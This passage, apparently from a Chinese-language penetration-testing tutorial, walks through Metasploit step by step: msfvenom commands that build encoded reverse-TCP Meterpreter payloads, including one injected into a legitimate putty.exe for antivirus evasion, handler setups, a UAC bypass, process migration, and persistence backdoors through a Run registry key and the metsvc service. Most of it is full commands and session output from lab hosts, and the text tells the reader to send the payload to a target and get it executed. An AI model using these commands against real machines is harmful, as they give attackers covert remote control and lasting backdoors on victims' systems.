-x选项经常和-k选项一起用,它允许您从模板中将payload作为新的线程运行。但是它目前只支持较老的系统,如x86 Windows XP.

(6)How to chain msfvenom output

(7)编译生成的C文件

#win x86生成c文件

msfvenom -p windows/meterpreter/reverse_tcp lhost=[AttackerIP] lport=4444 -f c -e x86/shikata_ga_nai -i 12 -b '\x00'

7.注入exe型+编码

msfvenom -p <payload> <payload options> -a <arch> --plateform <platform> -e <encoder option> -i <encoder times> -x <template> -k <keep> -f <format> -o <path>

测试:

> msfvenom -p windows/meterpreter/reverse_tcp -a x86 -e x86/shikata_ga_nai -i 3 -x 'F:/putty.exe' -f exe -o injection.exe
 
DL is deprecated, please use Fiddle
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 1 compatible encoders
Attempting to encode payload with3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai succeeded with size 387 (iteration=1)
x86/shikata_ga_nai succeeded with size 414 (iteration=2)
x86/shikata_ga_nai chosen with final size 414
Payload size: 414 bytes
Final size of exe file: 6144 bytes
Saved as: injection.exe

 

8.拼接型

msfvenom -c <shellcode> -p <payload> <payload options> -a <arch> --platform <platform> -e <encoder option> -i <encoder times> -f <format> -o <path>

测试:

> msfvenom -c "win.exe" -p windows/meterpreter/reverse_tcp -a x86 -e x86/shikata_ga_nai -i 3 -x 'F:/putty.exe' -f exe -o injection.exe
 
DL is deprecated, please use Fiddle
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Adding shellcode from win.exe to the payload
Found 1 compatible encoders
Attempting to encode payload with3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 5794 (iteration=0)
x86/shikata_ga_nai succeeded with size 5823 (iteration=1)
x86/shikata_ga_nai succeeded with size 5852 (iteration=2)
x86/shikata_ga_nai chosen with final size 5852
Payload size: 5852 bytes
Final size of exe file: 11264 bytes
Saved as: injection.exe

9.搜索

msfvenom -l | grep windows | grep x64 | grep tcp

10.绕过免杀

nops选项

> msfvenom -l nops
 
DL is deprecated, please use Fiddle
 
Framework NOPs (8 total)
========================
 
    Name             Description
    ----             -----------
    armle/simple     Simple NOP generator
    php/generic      Generates harmless padding for PHP scripts
    ppc/simple       Simple NOP generator
    sparc/random     SPARC NOP generator
    tty/generic      Generates harmless padding for TTY input
    x64/simple       An x64 single/multi byte NOP instruction generator.
    x86/opty2        Opty2 multi-byte NOP generator
    x86/single_byte  Single-byte NOP generator

payload生成器Veil-Evasion (免杀效果好)https://github.com/Veil-Framework/Veil-Evasion现在Veil 3.0

11.系统架构

(1)架构

Arch:x86  是指生成的payload只能在32位系统运行 Arch:x86_64 是指模块同时兼容32位操作系统和64位操作系统 Arch:x64  是指生成的payload只能在64位系统运行

(2)注意

有的payload的选项为多个:Arch:x86_64,x64这里你就需要-a参数选择一个系统架构。同时注意以下:size(大小),rank(等级),exitfunc(退出方法)

(3)统一

需要注意的是软件的架构/payload的架构/目标系统的架构三者一定要统一(x86/x86_64/x64),否则会出错。

举例1: payload/windows/x64/meterpreter_reverse_tcp

> msfvenom -p windows/x64/meterpreter_reverse_tcp --payload-option
 
DL is deprecated, please use Fiddle
Options for payload/windows/x64/meterpreter_reverse_tcp:
 
 
       Name: Windows Meterpreter Shell, Reverse TCP Inline x64
     Module: payload/windows/x64/meterpreter_reverse_tcp
   Platform: Windows
       Arch: x64, x86_64
Needs Admin: No
 Total size: 1189423
       Rank: Normal
 
Provided by:
    OJ Reeves
    sf <stephen_fewer@harmonysecurity.com>
 
Basic options:
Name        Current Setting  Required  Description
----        ---------------  --------  -----------
EXITFUNC    process          yes       Exit technique (Accepted: '', seh, thread, process, none)
EXTENSIONS                   no        Comma-separate list of extensions to load
EXTINIT                      no        Initialization strings for extensions
LHOST                        yes       The listen address
LPORT       4444             yes       The listen port

举例2: windows/x64/meterpreter/reverse_tcp

load/windows/x64/meterpreter/reverse_tcp:
 
 
       Name: Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
     Module: payload/windows/x64/meterpreter/reverse_tcp
   Platform: Windows
       Arch: x86_64
Needs Admin: No
 Total size: 449
       Rank: Normal
 
Provided by:
    skape <mmiller@hick.org>
    sf <stephen_fewer@harmonysecurity.com>
    OJ Reeves
 
Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST                      yes       The listen address
LPORT     4444             yes       The listen port
 
Description:
  Inject the meterpreter server DLL via the Reflective

从Arch看出,第一个可以用于x64, x86_64而第二个只能x86_64。这是需要注意的地方。

12.自选模块

生成执行计算器payload例子:

msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > 1.exe

13.payload的坑

正常情况下,利用msfvenom生成的木马文件,可直接上传到目标服务器上运行(加权限)。但我自己遇到过一个坑,生成的文件内容有部分是无用的,会引起报错,如下图所示。解决方案是vim文件,删除文件开头两行无效的内容。

 

0x07获取meterpreter

1.首先生成可执行文件

root @ kali:〜#msfvenom -p  windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444  -f exe -o  shell.exe

2.启动msfconsole,监听反连端口

root @ kali:〜#msfconsole

msf>use  exploit/multi /handler

msf exploit(handler)> set  PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD => window /meterpreter/reverse_tcp

msf exploit(handler)> set LHOST 0.0.0.0

msf exploit(handler)>set  LPORT  444

msf exploit(handler)>show options

msf exploit(handler)>exploit

0x08 持续性后门

1.metsvc后渗透攻击模块

metsvc后渗透攻击模块其实就是将Meterpreter以系统服务的形式安装到目标主机,它会上传三个文件:

metsvc.dll

metsvc-service.exe

metsvc.exe

调用metsvc后渗透攻击模块

命令:run  metsvc

效果如下图:

执行过程:在目标主机上创建一个监听31337端口的服务->在目标主机c:\windows\temp\下创建一个存放后门服务有关文件程序的目录,并上传metsrv.x86.dll、metsvc-server.exe、metsvc.exe三个文件到该目录下->开启服务

成功后:在目标主机上看到31337号端口已开,且服务多了一个meterpreter(如下图)

 

使用方法:

到目标机上,我们可以发现Meterpreter服务,正在开启监听并等待连接。

Meterpreter服务后门

之后电脑就默默生成了一个自启服务Meterpreter

然后连接后门

2. persistence模块后门

 

 

0x09 meterpreter绕过uac

由于绕过 UAC 的功能需在 meterpreter 的shell 才能实现。因此,我们首先要做的就是取得目标机器的 meterpreter shell 。

(1)生成一个 payload

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.15.131 lport=4444 -f exe -o /root/virus.exe -e x86/shikata_ga_nai -i 8

20161006093606

将以上生成的 payload 发送给目标机器并让其执行!

(2)kali 上配置一个反弹会话处理程序

msf>use exploit/multi/handler

msf>set payload windows/meterpreter/reverse_tcp

msf>set LHOST 192.168.15.131

msf>set LPORT 4444

msf>exploit

20161006092923

这里再介绍一种,生成反弹 shell 的方式。就是直接以 raw 的形式保存成文件只要目标进行了访问,就会反弹回 shell 。具体生成命令如下:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.15.131 LPORT=4444 -f raw -o x.php

当目标机器成功执行payload后我们就取得了一个 meterpreter shell 。

20161006094048

(3)利用 getuid 和 getsystem 命令来提权

20161006100046

(4)进行UAC权限绕过

从以上结果我们基本可以判定遭到了 UAC 的用户访问控制的拦截!既然这样,那么我们来利用 meterpreter 的强大功能来进行绕过!

msf>use exploit/windows/local/ask

msf>show options

msf>set session 1

msf>exploit

20161006104840

当我们成功执行以上命令后,我们会在目标系统上弹出一个确认框只要点击确认即可成功绕过!现在我们再来通过 getuid 和 getsystem 命令来查看当前我们的 shell 权限:

20161006105606

20161006172248

 

0x10 meterprter实战攻击windows2008r2x64

攻击端: OS:Kali IP:192.168.111.129

被害端: OS:Windows server 2008 (64位) IP:192.168.111.133

(1)获取目标主机反弹shell

首先在Kali上生成meterpreter的payloa

root@Kali:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=2013 X > file.exe  

接下来是配置监听:

root@Kali:~# msfconsole

msf > use  exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.111.129

msf exploit(handler) > set LPORT 2013

msf exploit(handler) > exploit

然后在Windows2008上执行file.exe,返回一个meterpreter

[] Sending stage (769024 bytes) to 192.168.111.133

[] Meterpreter session 1 opened (192.168.111.129:2013 -> 192.168.111.133:49168) at2014-03-13 22:23:18 +0800

 

meterpreter >(2).转移meterpreter到其他进程在渗透过程中由于各种原因,当前meterpreter进程很容易被干掉,将meterpreter转移到系统常驻进程是个好主意

meterpreter > getuid  //查看当前权限

Server username: WIN-K30V5SI0PCEAdministrator

meterpreter > ps      //列出当前进程

 

Process List

============

 

PID   PPID  Name              Arch    Session     User                           Path

---   ----  ----              ----    -------     ----                           ----

0     0     [System Process]          4294967295                                

4     0     System            x86_64  0                                        

244   4     smss.exe          x86_64  0           NT AUTHORITYSYSTEM            C:WindowsSystem32smss.exe

264   492   svchost.exe       x86_64  0           NT AUTHORITYLOCAL SERVICE     C:WindowsSystem32svchost.exe

336   328   csrss.exe         x86_64  0           NT AUTHORITYSYSTEM            C:WindowsSystem32csrss.exe

388   380   csrss.exe         x86_64  1           NT AUTHORITYSYSTEM            C:WindowsSystem32csrss.exe

396   328   wininit.exe       x86_64  0           NT AUTHORITYSYSTEM            C:WindowsSystem32wininit.exe

432   380   winlogon.exe      x86_64  1           NT AUTHORITYSYSTEM            C:WindowsSystem32winlogon.exe

492   396   services.exe      x86_64  0           NT AUTHORITYSYSTEM            C:WindowsSystem32services.exe

500   396   lsass.exe         x86_64  0           NT AUTHORITYSYSTEM            C:WindowsSystem32lsass.exe

512   396   lsm.exe           x86_64  0           NT AUTHORITYSYSTEM            C:WindowsSystem32lsm.exe

596   492   svchost.exe       x86_64  0           NT AUTHORITYSYSTEM            C:WindowsSystem32svchost.exe

656   492   svchost.exe       x86_64  0           NT AUTHORITYNETWORK SERVICE   C:WindowsSystem32svchost.exe

748   492   svchost.exe       x86_64  0           NT AUTHORITYLOCAL SERVICE     C:WindowsSystem32svchost.exe

796   492   svchost.exe       x86_64  0           NT AUTHORITYSYSTEM            C:WindowsSystem32svchost.exe

840   492   svchost.exe       x86_64  0           NT AUTHORITYLOCAL SERVICE     C:WindowsSystem32svchost.exe

856   388   conhost.exe       x86_64  1           WIN-K30V5SI0PCEAdministrator  C:WindowsSystem32conhost.exe

860   2044  cmd.exe           x86_64  1           WIN-K30V5SI0PCEAdministrator  C:WindowsSystem32cmd.exe

884   492   svchost.exe       x86_64  0           NT AUTHORITYSYSTEM            C:WindowsSystem32svchost.exe

924   492   svchost.exe       x86_64  0           NT AUTHORITYNETWORK SERVICE   C:WindowsSystem32svchost.exe

972   492   sppsvc.exe        x86_64  0           NT AUTHORITYNETWORK SERVICE   C:WindowsSystem32sppsvc.exe

976   492   spoolsv.exe       x86_64  0           NT AUTHORITYSYSTEM            C:WindowsSystem32spoolsv.exe

1056  492   svchost.exe       x86_64  0           NT AUTHORITYLOCAL SERVICE     C:WindowsSystem32svchost.exe

1092  492   vmtoolsd.exe      x86_64  0           NT AUTHORITYSYSTEM            C:Program FilesVMwareVMware Toolsvmtoolsd.exe

1332  492   svchost.exe       x86_64  0           NT AUTHORITYNETWORK SERVICE   C:WindowsSystem32svchost.exe

1492  2044  vmtoolsd.exe      x86_64  1           WIN-K30V5SI0PCEAdministrator  C:Program FilesVMwareVMware Toolsvmtoolsd.exe

1560  492   dllhost.exe       x86_64  0           NT AUTHORITYSYSTEM            C:WindowsSystem32dllhost.exe

1640  492   msdtc.exe         x86_64  0           NT AUTHORITYNETWORK SERVICE   C:WindowsSystem32msdtc.exe

1968  492   taskhost.exe      x86_64  1           WIN-K30V5SI0PCEAdministrator  C:WindowsSystem32taskhost.exe

2024  884   dwm.exe           x86_64  1           WIN-K30V5SI0PCEAdministrator  C:WindowsSystem32dwm.exe

2044  2016  explorer.exe      x86_64  1           WIN-K30V5SI0PCEAdministrator  C:Windowsexplorer.exe

2204  2428  mscorsvw.exe      x86_64  0           NT AUTHORITYSYSTEM            C:WindowsMicrosoft.NETFramework64v2.0.50727mscorsvw.exe

2312  492   svchost.exe       x86_64  0           NT AUTHORITYSYSTEM            C:WindowsSystem32svchost.exe

2332  2044  file.exe          x86     1           WIN-K30V5SI0PCEAdministrator  C:UsersAdministratorDesktopfile.exe

2428  492   mscorsvw.exe      x86_64  0           NT AUTHORITYSYSTEM            C:WindowsMicrosoft.NETFramework64v2.0.50727mscorsvw.exe

2588  492   mscorsvw.exe      x86     0           NT AUTHORITYSYSTEM            C:WindowsMicrosoft.NETFrameworkv2.0.50727mscorsvw.exe

2972  492   svchost.exe       x86_64  0           NT AUTHORITYSYSTEM            C:WindowsSystem32svchost.exe

 

meterpreter > migrate 2044 //迁移到PID为2044的explorer进程

[] Migrating from 2332 to 2044...

[] Migration completed successfully.

meterpreter >

meterpreter > ps

 

Process List

============

 

PID   PPID  Name              Arch    Session     User                           Path

---   ----  ----              ----    -------     ----                           ----

0     0     [System Process]          4294967295                                

4     0     System            x86_64  0                                        

244   4     smss.exe          x86_64  0           NT AUTHORITYSYSTEM            SystemRootSystem32smss.exe

264   492   svchost.exe       x86_64  0           NT AUTHORITYLOCAL SERVICE     C:\Windows\system32\svchost.exe

336   328   csrss.exe         x86_64  0           NT AUTHORITYSYSTEM            C:\Windows\system32\csrss.exe

388   380   csrss.exe         x86_64  1           NT AUTHORITYSYSTEM            C:\Windows\system32\csrss.exe

396   328   wininit.exe       x86_64  0           NT AUTHORITYSYSTEM            C:\Windows\system32\wininit.exe

432   380   winlogon.exe      x86_64  1           NT AUTHORITYSYSTEM            C:\Windows\system32\winlogon.exe

492   396   services.exe      x86_64  0           NT AUTHORITYSYSTEM            C:\Windows\system32\services.exe

500   396   lsass.exe         x86_64  0           NT AUTHORITYSYSTEM            C:\Windows\system32\lsass.exe

512   396   lsm.exe           x86_64  0           NT AUTHORITYSYSTEM            C:\Windows\system32\lsm.exe

596   492   svchost.exe       x86_64  0           NT AUTHORITYSYSTEM            C:\Windows\system32\svchost.exe

656   492   svchost.exe       x86_64  0           NT AUTHORITYNETWORK SERVICE   C:\Windows\system32\svchost.exe

748   492   svchost.exe       x86_64  0           NT AUTHORITYLOCAL SERVICE     C:\Windows\system32\svchost.exe

796   492   svchost.exe       x86_64  0           NT AUTHORITYSYSTEM            C:\Windows\system32\svchost.exe

840   492   svchost.exe       x86_64  0           NT AUTHORITYLOCAL SERVICE     C:\Windows\system32\svchost.exe

856   388   conhost.exe       x86_64  1           WIN-K30V5SI0PCEAdministrator  C:\Windows\system32\conhost.exe

860   2044  cmd.exe           x86_64  1           WIN-K30V5SI0PCEAdministrator  C:\Windows\system32\cmd.exe

884   492   svchost.exe       x86_64  0           NT AUTHORITYSYSTEM            C:\Windows\system32\svchost.exe

924   492   svchost.exe       x86_64  0           NT AUTHORITYNETWORK SERVICE   C:\Windows\system32\svchost.exe

972   492   sppsvc.exe        x86_64  0           NT AUTHORITYNETWORK SERVICE   C:\Windows\system32\sppsvc.exe

976   492   spoolsv.exe       x86_64  0           NT AUTHORITYSYSTEM            C:\Windows\system32\spoolsv.exe

1056  492   svchost.exe       x86_64  0           NT AUTHORITYLOCAL SERVICE     C:\Windows\system32\svchost.exe

1092  492   vmtoolsd.exe      x86_64  0           NT AUTHORITYSYSTEM            C:\Program Files\VMware\VMware Toolsvmtoolsd.exe

1332  492   svchost.exe       x86_64  0           NT AUTHORITYNETWORK SERVICE   C:\Windows\system32\svchost.exe

1492  2044  vmtoolsd.exe      x86_64  1           WIN-K30V5SI0PCEAdministrator  C:\Program Files\VMware\VMware Toolsvmtoolsd.exe

1560  492   dllhost.exe       x86_64  0           NT AUTHORITYSYSTEM            C:\Windows\system32\dllhost.exe

1640  492   msdtc.exe         x86_64  0           NT AUTHORITYNETWORK SERVICE   C:\Windows\system32\msdtc.exe

1968  492   taskhost.exe      x86_64  1           WIN-K30V5SI0PCEAdministrator  C:\Windows\system32\taskhost.exe

2024  884   dwm.exe           x86_64  1           WIN-K30V5SI0PCEAdministrator  C:\Windows\system32\Dwm.exe

2044  2016  explorer.exe      x86_64  1           WIN-K30V5SI0PCEAdministrator  C:\Windows\Explorer.EXE

2312  492   svchost.exe       x86_64  0           NT AUTHORITYSYSTEM            C:\Windows\system32\svchost.exe

2428  492   mscorsvw.exe      x86_64  0           NT AUTHORITYSYSTEM            C:\Windows\Microsoft.NETFramework64v2.0.50727\mscorsvw.exe

2588  492   mscorsvw.exe      x86     0           NT AUTHORITYSYSTEM            C:\Windows\Microsoft.NETFrameworkv2.0.50727\mscorsvw.exe

2972  492   svchost.exe       x86_64  0           NT AUTHORITYSYSTEM            C:\Windows\system32\svchost.exe

如上所示file.exe进程已经没了。需要注意的是如果存在杀软的话可能会阻止进程注入(3).测试是不是虚拟机

meterpreter > run post/windows/gather/checkvm

 

[] Checking if WIN-K30V5SI0PCE is a Virtual Machine .....

[] This is a VMware Virtual Machine

我的2008是装在VMWare上的(4).安装后门方法一:persistence方法

meterpreter > run  persistence -h

Meterpreter Script for creating a persistent backdoor on a target host.

 

OPTIONS:

 

    -A        Automatically start a matching multi/handler to connect to the agent

    -L <opt>  Location in target host where to write payload to, if none %TEMP% willbe used.

    -P <opt>  Payload to use, default is windows/meterpreter/reverse_tcp.

    -S        Automatically start the agent on boot as a service (with SYSTEM privileges)

    -T <opt>  Alternate executable template to use

    -U        Automatically start the agent when the User logs on

    -X        Automatically start the agent when the system boots

    -h        This help menu

    -i <opt>  The interval in seconds between each connection attempt

    -p <opt>  The port on the remote host where Metasploit is listening

    -r <opt>  The IP of the system running Metasploit listening for the connect back

 执行:

meterpreter > run persistence -X -i 10 -p 2241 -r 192.168.111.129

[] Running Persistance Script

[] Resource file for cleanup created at /root/.msf4/logs/persistence/WIN-K30V5SI0PCE_20140313.5419/WIN-K30V5SI0PCE_20140313.5419.rc

[] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=2241

[] Persistent agent script is 148439 bytes long

[+] Persistent Script written to C:UsersADMINI~1AppDataLocalTempUhyxOTTzTb.vbs

[] Executing script C:UsersADMINI~1AppDataLocalTempUhyxOTTzTb.vbs

[+] Agent executed with PID 2916

[] Installing into autorun as HKLM\Software\Microsoft\Windows\Current\Version\Run\HstWtPyXHYnhQ

[+] Installed into autorun as HKLM\Software\Microsoft\Windows\Current\Version\Run\HstWtPyXHYnhQ

现在退出服务器,重新配置监听器

msf > use multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.111.129

msf exploit(handler) > set LPORT 2241

msf exploit(handler) > exploit

 

[] Started reverse handler on 192.168.111.129:2241

[] Starting the payload handler...

[] Sending stage (769024 bytes) to 192.168.111.133

[] Meterpreter session 1 opened (192.168.111.129:2241 -> 192.168.111.133:49159) at2014-03-13 23:01:55 +0800

如图,反弹成功,这个被动型的后门在某些特殊的场合会是个不错的选择方法二:metsvc

meterpreter > run metsvc

[] Creating a meterpreter service on port 31337

[] Creating a temporary installation directory C:\Users\ADMINI~1\AppData\LocalTemp\HzWbqqRpuBlxn...

[]  >> Uploading metsrv.x86.dll...

[]  >> Uploading metsvc-server.exe...

[]  >> Uploading metsvc.exe...

[] Starting the service...

      Installing service metsvc

 Starting service

Service metsvc successfully installed.

 

metsvc后门安装成功,接下来是连接

root@Kali:~# msfconsole

     ,           ,

    /            

   ((__---,,,---__))

      (_) O O (_)_________

          _ /            |

          o_o    M S F   |

                  _____  |